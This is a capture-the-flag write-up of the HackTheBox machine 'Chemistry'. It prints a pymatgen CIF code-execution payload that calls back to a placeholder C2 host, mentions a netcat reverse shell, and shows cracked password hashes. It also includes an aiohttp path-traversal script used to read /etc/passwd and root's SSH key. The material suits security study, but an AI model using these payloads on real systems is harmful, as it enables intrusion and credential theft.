Chemistry - HackTheBox

CTF Writeup for Chemistry from HackTheBox

Chemistry - HackTheBox
Photo by Sharon Mollerus

Based on outdated software.

Starting with the usual nmap. Linux host.

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Navigating to 5000/tcp...

5000/

Information about CIF files here.

Page seems quite ordinary, the 'Login' and 'Register' do their desired functions.

Creating an account and logging in..

5000/dashboard

Downloading the example CIF file...

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

Some science shit, got it.

Checking 404s, site is written in Flask.

I interacted with this for awhile, eventually getting some 500 errors, but eventually went looking around online...

little meta

Checking into it, the vulnerability is with a popular Python library called 'pymatgen', and it is known for scientific stuff. I don't / can't know how the server is processing it, but it doesn't hurt to try the PoC.

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl <c2-ip>:8000");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.xxx.xxx.xxx - - [xx/Oct/2024 xx:xx:xx] "GET / HTTP/1.1" 200 -

And I got a response from the server. Time to get a shell.

Trying out multiple shells from revshells, none of them were sticking, but the one that did was busybox-nc, that's a first for me. Time to update and upload the payload..

listening on [any] 3889 ...
connect to [10.xxx.xxx.xxx] from (UNKNOWN) [10.xxx.xxx.xxx] 56422

Stabilizing the shell, time to look around.

Within the app.py we get a Flask secret; saved for later.

But more interestingly, we find a 'database.db'. Copying back to the box..

Saving and popping these into hashcat...

rosa:63ed86ee9f624c7b14f1d4f43dc251a5:unic*************
carlos:9ad48828b0955513f7cf0f7f6510c8f8:c********
peter:6845c17d298d95aa942127bdad2ceb9b:p**********
victoria:c3601ad2286a4293868ec2a4bc606ba3:v**********

Comparing these to the server's '/etc/passwd' we find the user rosa..

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
... snip ...
rosa@chemistry:~$

Collect the 'user.txt'.

rosa@chemistry:~$ cat user.txt 
> ********************************

Time to enumerate the way to root..

State            Recv-Q           Send-Q                     Local Address:Port                     Peer Address:Port
LISTEN           0                128                              0.0.0.0:5000                          0.0.0.0:*
LISTEN           0                128                            127.0.0.1:8080                          0.0.0.0:*
LISTEN           0                4096                       127.0.0.53%lo:53                            0.0.0.0:*
LISTEN           0                128                              0.0.0.0:22                            0.0.0.0:*
LISTEN           0                128                                 [::]:22                               [::]:*

Strange. Time to forward it to the box..

8080/

Walking the site, find a '/list_services'; but from pspy checks and injection attempts, not fruitful.

Checking the most basic part of the site..

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: xxx, xx Oct 2024 xx:xx:xx GMT
Server: Python/3.9 aiohttp/3.9.1

Seemingly uninteresting, I checked anyways..

Reading into this PoC..

#!/bin/bash

url="http://localhost:8081"
string="../"
payload="/static/"
file="etc/passwd" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"
    
    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done

Check quick with ffuf finds a '/assets' to work with for this.

curl --path-as-is http://127.0.0.1:8080/assets/

Now to check the validity..

user@c2:~:$ --path-as-is  http://127.0.0.1:8080/assets/../../../../../..//etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... snip ...
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

We got LFI.

Since this is a CTF, we can check '/root/.ssh/id_rsa'.. (/etc/shadow's root didn't crack)

user@c2:~:$ curl --path-as-is  http://127.0.0.1:8080/assets/../../../../../..//root/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
... snip ...
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Testing login..

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
... snip ...
root@chemistry:~#

Collect 'root.txt'.

root@chemistry:~# cat root.txt 
> ********************************